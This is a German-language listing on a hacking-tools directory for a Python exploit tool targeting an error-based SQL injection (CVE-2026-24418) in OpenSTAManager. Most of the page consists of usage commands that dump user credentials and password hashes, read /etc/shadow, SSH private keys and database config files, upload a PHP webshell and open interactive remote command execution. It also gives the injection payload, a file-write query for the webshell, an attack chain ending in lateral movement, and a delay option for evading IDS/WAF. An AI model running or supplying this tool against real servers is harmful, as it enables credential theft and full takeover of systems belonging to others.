Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-24418 — OpenSTAManager v2.9.8 und frühere Versionen enthalten eine kritische fehlerbasierte SQL-Injection-Schwachstelle im Bulk-Operations-Handler des Moduls Scadenzario (Zahlungsplan). | Kitploit
Tools/GitHubGitHub/bridgeralderson/cve-2026-24418
PasswortangriffeSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed TeamingDatenbanksicherheit

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
bridgeralderson/cve-2026-24418

CVE-2026-24418

OpenSTAManager v2.9.8 und frühere Versionen enthalten eine kritische fehlerbasierte SQL-Injection-Schwachstelle im Bulk-Operations-Handler des Moduls Scadenzario (Zahlungsplan).

Repository anzeigen
2vor 1 MonatNoch nicht geprüft

CVE-2026-24418

OpenSTAManager <= 2.9.8 — Fehlerbasierte SQL-Injection im Scadenzario-Massenverarbeitungsmodul

Übersicht

FeldDetails
CVE IDCVE-2026-24418
SchweregradHOCH (8.8)
CWECWE-89: SQL-Injection
Betroffene VersionenOpenSTAManager <= 2.9.8
Angreifbarer Parameterid_records[] (POST-Array)
Angreifbarer Endpunkt/actions.php?id_module=18
AngriffstypFehlerbasierte SQL-Injection (EXTRACTVALUE)
AuthentifizierungErforderlich (jeder gültige Benutzeraccount)

Schwachstellendetails

OpenSTAManager v2.9.8 und frühere Versionen enthalten eine kritische fehlerbasierte SQL-Injection-Schwachstelle im Massenverarbeitungs-Handler für das Scadenzario-Modul (Zahlungsplan). Die Anwendung validiert nicht, ob die Elemente des id_records[]-Arrays Ganzzahlen sind, bevor sie in einer SQL IN()-Klausel verwendet werden, sodass authentifizierte Angreifer beliebige SQL-Befehle einschleusen und sensible Daten über XPATH-Fehlermeldungen extrahieren können.

Grundursache

  1. Einstiegspunkt — /actions.php empfängt id_records[] über POST
  2. Unzureichende Bereinigung — array_clean() entfernt nur leere Werte, validiert KEINE Datentypen
  3. Injektionspunkt — /modules/scadenzario/bulk.php übergibt unbereinigte Werte direkt in eine SQL IN()-Klausel
  4. Datenexfiltration — EXTRACTVALUE/UPDATEXML-Fehlermeldungen geben Abfrageergebnisse preis

Funktionen

Installation

root@kitploit:~
git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests

Verwendung

Authentifizierung

root@kitploit:~
# Login with credentials
python3 exploit.py -t http://target.com -u admin -p password --info

# Use existing session cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info

Aufklärung

root@kitploit:~
# Database info + privileges + user credentials
python3 exploit.py -t http://target.com -u admin -p secret --all

# Check MySQL privileges (FILE, SUPER, etc.)
python3 exploit.py -t http://target.com -u admin -p secret --privs

Extraktion von Anmeldedaten

root@kitploit:~
# Dump users and auto-export hashes
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot

# Output files:
#   ./loot/users.json          - Full user data
#   ./loot/users.csv           - CSV format
#   ./loot/hashes_hashcat.txt  - Hashcat format (mode 3200)
#   ./loot/hashes_john.txt     - John format (user:hash)

Datenbank-Aufzählung

root@kitploit:~
# List all databases
python3 exploit.py -t http://target.com -u admin -p secret --dbs

# List tables in a specific database
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager

# List columns of a table
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users

# Dump specific columns with row limit
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10

Dateilesen (LFI via SQL)

root@kitploit:~
# Read /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd

# Read application config (database credentials)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php

# Read SSH keys
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa

# HEX mode (bypass character filters)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow

Remote-Code-Ausführung

root@kitploit:~
# Upload webshell (auto-detects webroot)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# Upload webshell with specific webroot
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html

# Interactive shell session
python3 exploit.py -t http://target.com -u admin -p secret --rce

# RCE will auto-upload webshell if none exists

Ausgabe & Berichterstellung

root@kitploit:~
# Save everything to a directory
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot

# Generated files:
#   db_info.json, privileges.json, users.json, users.csv,
#   hashes_hashcat.txt, hashes_john.txt

Netzwerkoptionen

root@kitploit:~
# Through Burp Suite proxy
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080

# With request delay (2 seconds between requests)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2

# Skip SSL verification
python3 exploit.py -t https://target.com -u admin -p secret --info -k

Vollständige Optionsreferenz

Ziel: -t, --target Basis-URL des Ziels

Authentifizierung: -u, --user Benutzername für die Anmeldung -p, --password Passwort für die Anmeldung -c, --cookie Vorhandener PHPSESSID-Wert

Aufzählung: -D, --database Name der Zieldatenbank -T, --table Name der Zieltabelle -C, --columns-list Auszulesende Spalten (kommagetrennt) --limit Zeilenbegrenzung für Dumps

Aktionen: --info Datenbankserver-Informationen --users Anmeldedaten von zz_users auslesen --dbs Datenbanken aufzählen --tables Tabellen auflisten --columns Spalten auflisten (erfordert -T) --dump Daten auslesen (erfordert -T und -C) --sql QUERY Benutzerdefinierte SQL-Abfrage --all --info + --privs + --users ausführen --privs MySQL-Berechtigungen prüfen

Dateioperationen: --file-read PATH Datei via LOAD_FILE() lesen --file-read-hex PATH Datei via HEX-Kodierung lesen

Remote-Code-Ausführung: --webshell PHP-Webshell hochladen --webroot PATH Webroot-Pfad für den Shell-Upload --rce Interaktive Befehlsausführung

Ausgabe: -o, --output DIR Ergebnisse im Verzeichnis speichern

Netzwerk: -m, --module-id Modul-ID (Standard: 18) --proxy HTTP-Proxy-URL -k, --no-ssl-verify SSL-Überprüfung deaktivieren --delay Anforderungsverzögerung in Sekunden

Technische Details

Payload-Struktur

root@kitploit:~
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#

EXTRACTVALUE-Zeichenlimit

MySQLs EXTRACTVALUE() gibt maximal ~32 Zeichen über XPATH-Fehler zurück. Das Tool teilt lange Ergebnisse automatisch mit SUBSTRING() in Blöcke:

root@kitploit:~
SUBSTRING((<query>), 1, 31)    -- Chunk 1
SUBSTRING((<query>), 32, 31)   -- Chunk 2
...

Webshell-Upload-Mechanismus

Technischer Hinweis zum fehlerbasierten Kontext: Obwohl --webshell und --rce für maximale Abdeckung enthalten sind, verbietet MySQL strengstens die Verwendung von INTO DUMPFILE innerhalb einer Unterabfrage oder einer IN()-Klausel (genau dort, wo der Injektionspunkt dieses CVE liegt).

Daher wird das direkte Schreiben von Dateien über diese spezifische fehlerbasierte Injektion normalerweise mit einem Syntaxfehler fehlschlagen, es sei denn:

  1. Die Zielumgebung erlaubt Stacked Queries (sehr selten in modernen PHP/PDO-Setups).
  2. Es gelingt, die Payload in eine UNION-basierte Injektion umzulenken.

Wenn Sie über --privs die FILE-Berechtigung bestätigt haben, ist die beste Option die Verwendung von --file-read und --file-read-hex, da LOAD_FILE() innerhalb fehlerbasierter Unterabfragen einwandfrei funktioniert.

Wenn die FILE-Berechtigung verfügbar ist und die Beschränkungen es erlauben:

root@kitploit:~
SELECT 0x<hex_encoded_php> INTO DUMPFILE '/var/www/html/shell.php'

Angreifbarer Codepfad

root@kitploit:~
POST /actions.php?id_module=18
    └── actions.php (L503-506) ─── empfängt id_records[]
        └── array_clean() ─── entfernt nur leere Werte
            └── bulk.php (L88) ─── baut SQL IN()-Klausel
                └── Database.php (L289) ─── führt unbereinigte Abfrage aus
                    └── XPATH-Fehler gibt Daten preis

Beispiel einer Angriffskette

root@kitploit:~
1. --privs        → FILE-Berechtigung prüfen
2. --users        → Anmeldedaten extrahieren, Hashes exportieren
3. --file-read    → config.inc.php für DB-Zugangsdaten lesen
4. --file-read    → /etc/passwd für Benutzernamen lesen
5. --webshell     → PHP-Webshell hochladen
6. --rce          → Interaktive Shell → Ausbreitung

Haftungsausschluss

Dieses Tool wird nur für autorisierte Sicherheitstests und zu Bildungszwecken bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Holen Sie stets die entsprechende Genehmigung ein, bevor Sie Tests durchführen. Der Autor übernimmt keine Haftung für Missbrauch.

Referenzen

  • CVE-2026-24418 (NVD)
  • GitHub Security Advisory — GHSA-4xwv-49c8-fvhq
  • OpenSTAManager Repository
  • PoC by Lukasz Rybak
Tool herunterladen
FunktionBeschreibung
--infoDatenbankserver-Fingerprinting (Version, Benutzer, Hostname, OS, Pfade)
--privsMySQL-Berechtigungsaufzählung (FILE, SUPER, PROCESS)
--usersVollständiger Credential-Dump von zz_users mit automatischem Hash-Export
--dbsAlle zugänglichen Datenbanken aufzählen
--tablesTabellen mit Zeilenanzahlen auflisten
--columnsSpalten mit Typen und Null-Informationen auflisten
--dumpDatenextraktion aus beliebigen Tabellen/Spalten
--sqlAusführung benutzerdefinierter SQL-Abfragen
--file-readLesen von Serverdateien via LOAD_FILE() (/etc/passwd, Konfigurationsdateien, SSH-Schlüssel)
--file-read-hexHEX-kodiertes Dateilesen zum Umgehen von Filtern
--webshellHochladen einer PHP-Webshell via INTO DUMPFILE
--rceInteraktive Befehlsausführung über hochgeladene Webshell
-o / --outputAlle Ergebnisse in JSON, CSV und Hashcat/John-Formate speichern
--proxyHTTP-Proxy-Unterstützung (Burp Suite)
--delayAnforderungsverzögerung zur IDS/WAF-Umgehung